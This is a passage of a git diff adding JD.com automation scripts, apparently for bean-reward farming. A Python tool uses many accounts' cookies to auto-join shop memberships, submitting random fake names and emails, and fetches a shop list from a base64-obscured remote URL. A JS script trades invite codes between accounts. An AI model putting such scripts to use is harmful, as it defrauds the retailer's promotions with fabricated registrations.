'Cookie': cookie, + 'Accept': "*/*", + 'Connection': "close", + 'Referer': "https://shopmember.m.jd.com/shopcard/?", + 'Accept-Encoding': "gzip, deflate, br", + 'Host': "api.m.jd.com", + 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", + 'Accept-Language': "zh-cn" + + } + return headers + +# 记录符合件的shopid到本地文件保存 当前目录:OpenCardlog/shopid-yyyy-mm-dd.txt 或 log-yyyy-mm-dd.txt +def outfile(filename, context, iscover): + """ + :param filename: 文件名 默认txt格式 + :param context: 写入内容 + :param iscover: 是否覆盖 False or True + :return: + """ + if record == True: + try: + if iscover == False: + with open(pwd + "log/{0}".format(filename), "a+", encoding="utf-8") as f1: + f1.write("{}\n".format(context)) + f1.close() + elif iscover == True: + with open(pwd + "{0}".format(filename), "w+", encoding="utf-8") as f1: + f1.write("{}".format(context)) + f1.close() + except Exception as e: + print(e) + +# 记忆功能 默认双线程 +def memoryFun(startNum, threadNum, usernameLabel, username, getallbean, userCount): + global memoryJson + if memory == True: + if usernameLabel == True: + memoryJson['allShopidNum'] = endShopidNum + memoryJson['currUser{}'.format(threadNum)] = username + memoryJson['t{}_startNum'.format(threadNum)] = startNum + memoryJson['allUserCount'] = userCount + if usernameLabel == False: + try: + + memoryJson['{}'.format(username)] + memoryJson['{}'.format(username)] += getallbean + except: + memoryJson['{}'.format(username)] = getallbean + try: + memoryJson['{}_ok'.format(username)] + memoryJson['{}_ok'.format(username)] += 1 + except: + memoryJson['{}_ok'.format(username)] = 1 + + try: + if os.path.exists(pwd + "log"): + with open(pwd + "log/memory.json", "w+", encoding="utf-8") as f: + json.dump(memoryJson, f, indent=4) + else: + pass + except Exception as e: + print(e) + + +# 修复记忆功能一些问题,如记录累计京豆统计显示为0等 +def isMemoryEnable(): + global memoryJson + memoryJson = getMemory() + +# 获取记忆配置 +def getMemory(): + """ + :return: memoryJson + """ + if os.path.exists(pwd + "log/memory.json"): + with open(pwd + "log/memory.json", "r", encoding="utf-8") as f: + memoryJson = json.load(f) + if len(memoryJson) > 0: + return memoryJson + else: + pass + + +def rmCount(): + if os.path.exists(pwd + "log/入会汇总.txt"): + os.remove(pwd + "log/入会汇总.txt") + if os.path.exists(pwd + "log/memory.json"): + os.remove(pwd + "log/memory.json") + +# 判断是否启用记忆功能 +def isMemory(memorylabel, startNum1, startNum2, midNum, endNum, pinNameList): + """ + :param memorylabel: 记忆标签 + :param startNum1: 线程1默认开始位置 + :param startNum2: 线程2默认开始位置 + :param midNum: 线程1默认结束位置 + :param endNum: 线程2默认结束位置 + :return: startNum1, startNum2, memorylabel + """ + if memory == True and memorylabel == 0: + try: + memoryJson = getMemory() + if memoryJson['allShopidNum'] == endNum: + currUserLabel = 0 + + if memoryJson['allUserCount'] == allUserCount: + for u in pinNameList: + if memoryJson['currUser1'] == u: + currUserLabel += 1 + elif memoryJson['currUser2'] == u: + currUserLabel += 1 + if memoryJson['currUser1'] == memoryJson['currUser2']: + currUserLabel = 2 + if currUserLabel < 2: + print("通知:检测到您配置的CK有变更,本次记忆功能不生效。") + rmCount() + return startNum1, startNum2, memorylabel + if memoryJson['t1_startNum'] + 1 == midNum and memoryJson['t2_startNum'] + 1 == endNum: + print( + f"\n上次已完成所有shopid,\n\nPs:您可以关注公众号或TG频道获取最新shopid。\n公众号: TopStyle\n电报TG:https://t.me/TopStyle2021\n\n请输入 0 或 1\n0 : 退出。\n1 : 重新跑一次,以防有漏") + try: + getyourNum = int(input("正在等待您的选择:")) + if getyourNum == 1: + print("Ok,那就重新跑一次~") + rmCount() + memorylabel = 1 + return startNum1, startNum2, memorylabel + elif getyourNum == 0: + print("Ok,已退出~") + time.sleep(10) + exit(0) + except: + # print("Error: 您的输入有误!已退出。") + exitCodeFun(3) + else: + isMemoryEnable() + if memoryJson['t1_startNum']: + startNum1 = memoryJson['t1_startNum'] + message(f"已启用记忆功能 memory= True,线程1从第【{startNum1}】店铺开始") + if memoryJson['t2_startNum']: + startNum2 = memoryJson['t2_startNum'] + message(f"已启用记忆功能 memory= True,线程2从第【{startNum2}】店铺开始") + memorylabel = 1 + return startNum1, startNum2, memorylabel + else: + message("通知:检测到您配置的CK有变更,本次记忆功能不生效。") + rmCount() + return startNum1, startNum2, memorylabel + else: + message("通知:检测到shopid有更新,本次记忆功能不生效。") + rmCount() + memorylabel = 1 + return startNum1, startNum2, memorylabel + except Exception as e: + memorylabel = 1 + return startNum1, startNum2, memorylabel + else: + rmCount() + memorylabel = 1 + return startNum1, startNum2, memorylabel + +# 获取VenderId +def getVenderId(shopId, headers): + """ + :param shopId: + :param headers + :return: venderId + """ + url = 'https://mall.jd.com/index-{0}.html'.format(shopId) + resp = requests.get(url=url, verify=False, headers=headers, timeout=60) + resulttext = resp.text + r = re.compile(r'shopId=\d+&id=(\d+)"') + venderId = r.findall(resulttext) + return venderId[0] + +# 查询礼包 +def getShopOpenCardInfo(venderId, headers, shopid, userName, user_num): + """ + :param venderId: + :param headers: + :return: activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) + """ + num1 = string.digits + v_num1 = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join( + random.sample(num1, 4)) # 随机生成一窜4位数字 + url = 'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22{2}%22%2C%22channel%22%3A406%7D&client=H5&clientVersion=9.2.0&uuid=&jsonp=jsonp_{0}_{1}'.format( + timestamp, v_num1, venderId) + resp = requests.get(url=url, verify=False, headers=headers, timeout=60) + time.sleep(sleepNum) + resulttxt = resp.text + r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) + result = r.findall(resulttxt) + cardInfo = json.loads(result[0]) + venderCardName = cardInfo['result']['shopMemberCardInfo']['venderCardName'] # 店铺名称 + if user_num == 1: + printinfo(f"\t└查询入会礼包【{venderCardName}】", printlog) + openCardStatus = cardInfo['result']['userInfo']['openCardStatus'] # 是否会员 + interestsRuleList = cardInfo['result']['interestsRuleList'] + if interestsRuleList == None: + if user_num == 1: + printinfo("\t\t└查询该店入会没有送豆,不入会", printlog) + return 0, 0 + try: + if len(interestsRuleList) > 0: + for i in interestsRuleList: + if "京豆" in i['prizeName']: + getBean = int(i['discountString']) + activityId = i['interestsInfo']['activityId'] + context = "{0}".format(shopid) + outfile(f"shopid-{today}.txt", context, False) # 记录所有送豆的shopid + in_url = 'https://shop.m.jd.com/?shopId={}'.format(shopid) + url = 'https://shopmember.m.jd.com/member/memberCloseAccount?venderId={}'.format(venderId) + context = "[{0}]:入会{2}豆店铺【{1}】\n\t加入会员:{4}\n\t解绑会员:{3}".format(nowtime(), venderCardName, getBean, + url, in_url) # 记录 + if user_num == 1: + outfile("入会汇总.txt", context, False) + if getBean >= openCardBean: # 判断豆是否符合您的需求 + print(f"\t└账号{user_num}【{userName}】{venderCardName}:入会赠送【{getBean}豆】,可入会") + context = "{0}".format(shopid) + outfile(f"入会{openCardBean}豆以上的shopid-{today}.txt", context, False) + if onlyRecord == True: + if user_num == 1: + print("已开启仅记录,不入会。") + return 2, 2 + if openCardStatus == 1: + url = 'https://shopmember.m.jd.com/member/memberCloseAccount?venderId={}'.format(venderId) + print("\t\t└[账号:{0}]:您已经是本店会员,请注销会员卡24小时后再来~\n注销链接:{1}".format(userName, url)) + context = "[{3}]:入会{1}豆,{0}销卡:{2}".format(venderCardName, getBean, url, nowtime()) + outfile("可退会账号【{0}】.txt".format(userName), context, False) + return 1, 1 + return activityId, getBean + else: + if user_num == 1: + print(f'\t\t└{venderCardName}:入会送【{getBean}】豆少于【{openCardBean}豆】,不入...') + if onlyRecord == True: + if user_num == 1: + print("已开启仅记录,不入会。") + return 2, 2 + return 0, openCardStatus + + else: + pass + if user_num == 1: + printinfo("\t\t└查询该店入会没有送豆,不入会", printlog) + return 0, 0 + else: + return 0, 0 + except Exception as e: + print(e) + +# 开卡 +def bindWithVender(venderId, shopId, activityId, channel, headers): + """ + :param venderId: + :param shopId: + :param activityId: + :param channel: + :param headers: + :return: result : 开卡结果 + """ + num = string.ascii_letters + string.digits + v_name = ''.join(random.sample(num, 10)) + num1 = string.digits + v_num1 = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join(random.sample(num1, 4)) + qq_num = ''.join(random.sample(["1", "2", "3", "4", "5", "6", "7", "8", "9"], 1)) + ''.join( + random.sample(num1, 8)) + "@qq.com" + url = 'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=%7B%22venderId%22%3A%22{4}%22%2C%22shopId%22%3A%22{7}%22%2C%22bindByVerifyCodeFlag%22%3A1%2C%22registerExtend%22%3A%7B%22v_sex%22%3A%22%E6%9C%AA%E7%9F%A5%22%2C%22v_name%22%3A%22{0}%22%2C%22v_birthday%22%3A%221990-03-18%22%2C%22v_email%22%3A%22{6}%22%7D%2C%22writeChildFlag%22%3A0%2C%22activityId%22%3A{5}%2C%22channel%22%3A{3}%7D&client=H5&clientVersion=9.2.0&uuid=&jsonp=jsonp_{1}_{2}'.format( + v_name, timestamp, v_num1, channel, venderId, activityId, qq_num, shopId) + try: + respon = requests.get(url=url, verify=False, headers=headers, timeout=60) + result = respon.text + return result + except Exception as e: + print(e) + +# 获取开卡结果 +def getResult(resulttxt, userName, user_num): + r = re.compile(r'jsonp_.*?\((.*?)\)\;', re.M | re.S | re.I) + result = r.findall(resulttxt) + for i in result: + result_data = json.loads(i) + busiCode = result_data['busiCode'] + if busiCode == '0': + message = result_data['message'] + try: + result = result_data['result']['giftInfo']['giftList'] + print(f"\t\t└账号{user_num}【{userName}】:{message}") + for i in result: + print("\t\t\t└{0}:{1} ".format(i['prizeTypeName'], i['discount'])) + except: + print(f'\t\t└账号{user_num}【{userName}】:{message}') + return busiCode + else: + print("\t\t└账号{0}【{1}】:{2}".format(user_num, userName, result_data['message'])) + return busiCode + + +def getRemoteShopid(): + global shopidList, venderidList + shopidList = [] + venderidList = [] + url = base64.decodebytes( + b"aHR0cHM6Ly9naXRlZS5jb20vY3VydGlubHYvUHVibGljL3Jhdy9tYXN0ZXIvT3BlbkNhcmQvc2hvcGlkLnR4dA==") + try: + rShopid = gettext(url) + rShopid = rShopid.split("\n") + for i in rShopid: + if len(i) > 0: + shopidList.append(i.split(':')[0]) + venderidList.append(i.split(':')[1]) + return shopidList, venderidList + except: + print("无法从远程获取shopid") + exitCodeFun(999) + + +# 读取shopid.txt +def getShopID(): + shopid_path = pwd + "shopid.txt" + try: + with open(shopid_path, "r", encoding="utf-8") as f: + shopid = f.read() + if len(shopid) > 0: + shopid = shopid.split("\n") + return shopid + else: + print("Error:请检查shopid.txt文件是否正常!\n") + exitCodeFun(2) + except Exception as e: + print("Error:请检查shopid.txt文件是否正常!\n", e) + exitCodeFun(2) + +# 进度条 +def progress_bar(start, end, threadNum): + print("\r", end="") + if threadNum == 2: + start2 = start - midNum + end2 = end - midNum + print("\n###[{1}]:线程{2}【当前进度: {0}%】\n".format(round(start2 / end2 * 100, 2), nowtime(), threadNum)) + elif threadNum == 1: + print("\n###[{1}]:线程{2}【当前进度: {0}%】\n".format(round(start / end * 100, 2), nowtime(), threadNum)) + sys.stdout.flush() + +## 多账号并发 +def sss(ii, ck, userName, pinName, endNum, user_num, shopids, threadNum): + if ii % 10 == 0 and ii != 0 and user_num == 1: + progress_bar(ii, endNum, threadNum) + try: + if len(shopids[ii]) > 0: + headers_b = setHeaders(ck, "mall") # 获取请求头 + if isRemoteSid: + venderId = venderidList[shopidList.index(shopids[ii])] + else: + venderId = getVenderId(shopids[ii], headers_b) # 获取venderId + time.sleep(sleepNum) # 根据您需求是否限制请求速度 + # 新增记忆功能 + memoryFun(ii, threadNum, True, pinName, 0, allUserCount) + headers_a = setHeaders(ck, "mh5") + activityId, getBean = getShopOpenCardInfo(venderId, headers_a, shopids[ii], userName, user_num) # 获取入会礼包结果 + # activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) + time.sleep(sleepNum) # 根据账号需求是否限制请求速度 + if activityId == 0 or activityId == 2: + pass + elif activityId > 10: + headers = setHeaders(ck, "JDApp") + result = bindWithVender(venderId, shopids[ii], activityId, 208, headers) + busiCode = getResult(result, userName, user_num) + if busiCode == '0': + memoryFun(ii, threadNum, False, pinName, getBean, allUserCount) + memoryJson = getMemory() + print(f"账号{user_num}:【{userName}】累计获得:{memoryJson['{}'.format(pinName)]} 京豆") + time.sleep(sleepNum) + + else: + pass + except Exception as e: + if user_num == 1: + print(f"【Error】:多账号并发报错,请求过快建议适当调整 sleepNum 参数限制速度 \n{e}") + +# 为多线程准备 +def OpenVipCard(startNum: int, endNum: int, shopids, cookies, userNames, pinNameList, threadNum): + sssLabel = 0 + for i in range(startNum, endNum): + user_num = 1 + if Concurrent: + if sssLabel == 0 and threadNum == 1: + if DoubleThread: + message("当前模式: 双线程,多账号并发运行") + else: + message("当前模式: 单线程,多账号并发运行") + sssLabel = 1 + threads = [] + for ck, userName, pinName in zip(cookies, userNames, pinNameList): + tt = TaskThread(sss, args=(i, ck, userName, pinName, endNum, user_num, shopids, threadNum)) + threads.append(tt) + tt.start() + user_num += 1 + time.sleep(sleepNum) + for t in threads: + t.join() + time.sleep(sleepNum) + else: + if sssLabel == 0 and threadNum == 1: + if DoubleThread: + message("当前模式: 双线程,单账号运行") + else: + message("当前模式: 单线程,单账号运行") + sssLabel = 1 + activityIdLabel = 0 + for ck, userName, pinName in zip(cookies, userNames, pinNameList): + if i % 10 == 0 and i != 0: + progress_bar(i, endNum, threadNum) + try: + if len(shopids[i]) > 0: + headers_b = setHeaders(ck, "mall") # 获取请求头 + venderId = getVenderId(shopids[i], headers_b) # 获取venderId + time.sleep(sleepNum) # 根据账号需求是否限制请求速度 + # 新增记忆功能 + memoryFun(i, threadNum, True, pinName, 0, allUserCount) + if activityIdLabel == 0: + s = random.randint(0, allUserCount - 1) + headers_a = setHeaders(cookies[s], "mh5") + activityId, getBean = getShopOpenCardInfo(venderId, headers_a, shopids[i], userName, + user_num) # 获取入会礼包结果 + # activityId,getBean 或 返回 0:没豆 1:有豆已是会员 2:记录模式(不入会) + time.sleep(sleepNum) # 根据账号需求是否限制请求速度 + if activityId == 0 or activityId == 2: + break + elif activityId == 1: + user_num += 1 + continue + elif activityId > 10: + activityIdLabel = 1 + headers = setHeaders(ck, "JDApp") + result = bindWithVender(venderId, shopids[i], activityId, 208, headers) + busiCode = getResult(result, userName, user_num) + if busiCode == '0': + memoryFun(i, threadNum, False, pinName, getBean, allUserCount) + memoryJson = getMemory() + print(f"账号{user_num}:【{userName}】累计获得:{memoryJson['{}'.format(pinName)]} 京豆") + time.sleep(sleepNum) + else: + break + except Exception as e: + user_num += 1 + print(e) + continue + user_num += 1 +# start +def start(): + global allUserCount + print(scriptHeader) + outfile("Readme.md", readmes, True) + isUpdate() + global endShopidNum, midNum, allUserCount + if isRemoteSid: + message("已启用远程获取shopid") + allShopid, venderidList = getRemoteShopid() + else: + message("从本地shopid.txt获取shopid") + allShopid = getShopID() + allShopid = list(set(allShopid)) + endShopidNum = len(allShopid) + midNum = int(endShopidNum / 2) + message("获取到店铺数量: {}".format(endShopidNum)) + message(f"您已设置入会条件:{openCardBean} 京豆") + print("获取账号...") + cookies, userNames, pinNameList = iscookie() + allUserCount = len(cookies) + message("共{}个有效账号".format(allUserCount)) + memorylabel = 0 + startNum1 = 0 + startNum2 = midNum + starttime = time.perf_counter() # 记录时间开始 + if endShopidNum > 1 and DoubleThread: + # 如果启用记忆功能,则获取上一次记忆位置 + startNum1, startNum2, memorylabel = isMemory(memorylabel, startNum1, startNum2, midNum, endShopidNum, + pinNameList) + # 多线程部分 + threads = [] + t1 = Thread(target=OpenVipCard, args=(startNum1, midNum, allShopid, cookies, userNames, pinNameList, 1)) + threads.append(t1) + t2 = Thread(target=OpenVipCard, args=(startNum2, endShopidNum, allShopid, cookies, userNames, pinNameList, 2)) + threads.append(t2) + try: + for t in threads: + t.setDaemon(True) + t.start() + for t in threads: + t.join() + isSuccess = True + progress_bar(1, 1, 1) + progress_bar(1, 1, 2) + except: + isSuccess = False + elif endShopidNum == 1 or not DoubleThread: + startNum1, startNum2, memorylabel = isMemory(memorylabel, startNum1, startNum2, midNum, endShopidNum, + pinNameList) + OpenVipCard(startNum1, endShopidNum, allShopid, cookies, userNames, pinNameList, 1) + isSuccess = True + else: + message("获取到shopid数量为0") + exitCodeFun(9) + endtime = time.perf_counter() # 记录时间结束 + if os.path.exists(pwd + "log/memory.json"): + memoryJson = getMemory() + n = 1 + message("\n###【本次统计 {}】###\n".format(nowtime())) + all_get_bean = 0 + for name, pinname in zip(userNames, pinNameList): + try: + userCountBean = memoryJson['{}'.format(pinname)] + successJoin = memoryJson['{}_ok'.format(pinname)] + message(f"账号{n}:【{name}】\n\t└成功入会【{successJoin}】个,收获【{userCountBean}】京豆") + all_get_bean += userCountBean + except Exception as e: + message(f"账号{n}:【{name}】\n\t└成功入会【0】个,收获【0】京豆") + n += 1 + message(f"\n本次总累计获得:{all_get_bean} 京豆") + time.sleep(1) + message("\n------- 入会总耗时 : %.03f 秒 seconds -------" % (endtime - starttime)) + print("{0}\n{1}\n{2}".format("*" * 30, scriptHeader, remarks)) + send("【JD入会领豆】", message_info) + exitCodeFun(0) +if __name__ == '__main__': + start() + diff --git a/backUp/jd_aid_ftzy.js b/backUp/jd_aid_ftzy.js new file mode 100644 index 0000000..741ed39 --- /dev/null +++ b/backUp/jd_aid_ftzy.js @@ -0,0 +1,41 @@ +/** +cron=15 3,9 * * * jd_aid_ftzy.js +new Env('京东沸腾之夜助力'); + */ +let common = require("./function/common"); +let $ = new common.env('京东沸腾之夜助力'); +let min = 3, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html', + } +}); +$.readme = ` +0 0 * * * task ${$.runfile} +exprot ${$.runfile}=2 # 如需修改被助力账号个数,请自行修改环境变量 +` +eval(common.eval.mainEval($)); +async function prepare() { + for (let i of cookies['help']) { + let s = await $.curl({ + 'url': `https://api.m.jd.com/client.action?advId=party1031_init`, + 'form': `functionId=party1031_init&body={}&client=wh5&clientVersion=1.0.0&appid=o2_act&uuid=cf7d66dca8a794007c133227f504a8e2aff131e7`, + cookie: i + },'s') + try { + $.sharecode.push($.compact($.s.data.result, ['inviteCode'])) + } catch (e) {} + } +} +async function main(p) { + let cookie = p.cookie + await $.curl({ + 'url': `https://api.m.jd.com/client.action?advId=party1031_assist`, + 'form': `functionId=party1031_assist&client=wh5&clientVersion=1.0.0&appid=o2_act&_stk=appid,body,client,clientVersion,functionId&_ste=1&h5st=&body={"inviteCode":"${p.inviteCode}"}&uuid=cf7d66dca8a794007c133227f504a8e2aff131e7`, + cookie + },'s') + console.log($.s.data); +} diff --git a/backUp/jd_all_bean_change.js b/backUp/jd_all_bean_change.js new file mode 100644 index 0000000..94f31ea --- /dev/null +++ b/backUp/jd_all_bean_change.js @@ -0,0 +1,416 @@ +/* +京东月资产变动通知 +更新时间:2021-06-16 12:00 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#京东月资产变动通知 +10 7 1-31/7 * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js, tag=翻翻乐提现, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +=================================Loon=================================== +[Script] +cron "10 7 1-31/7 * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js,tag=翻翻乐提现 +===================================Surge================================ +京东月资产变动通知 = type=cron,cronexp="10 7 1-31/7 * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js +====================================小火箭============================= +京东月资产变动通知 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_all_bean_change.js, cronexpr="10 7 1-31/7 * *", timeout=3600, enable=true + */ +const $ = new Env('京东月资产变动通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.allincomeBean = 0; + $.allexpenseBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await bean(); + await showMsg(); + } + } + + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `账号${$.index}:${$.nickName || $.UserName}\n当月收入(截至昨日):${$.allincomeBean}京豆 🐶\n当月支出(截至昨日):${$.allexpenseBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆 🐶${$.message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n当月收入(截至昨日):${$.allincomeBean}京豆 🐶\n当月支出(截至昨日):${$.allexpenseBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(今日将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + + + + + let time = new Date();//当前月 要计算其他时间点自己传入即可 + let year = time.getFullYear(); + let month = parseInt( time.getMonth() + 1 ); + //开始时间 时间戳 + let start = new Date( year + "-" + month + "-01 00:00:00" ).getTime() + //结束时间 时间戳 + if( month == 12 ){ + //十二月的时候进位,这里直接用加减法算了 + //也可以用 time.setMonth( month + 1 )去计算并获取结束时间的月份和年份 + month = 0; + year += 1; + } + let end = new Date( year + "-" + ( month + 1 ) + "-01 00:00:00" ).getTime() + + let allpage = 1, allt = 0, allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < tm1) { + //昨日的 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + + + + await queryexpirejingdou();//过期京豆 + await redPacket();//过期红包 + // console.log(`昨日收入:${$.incomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 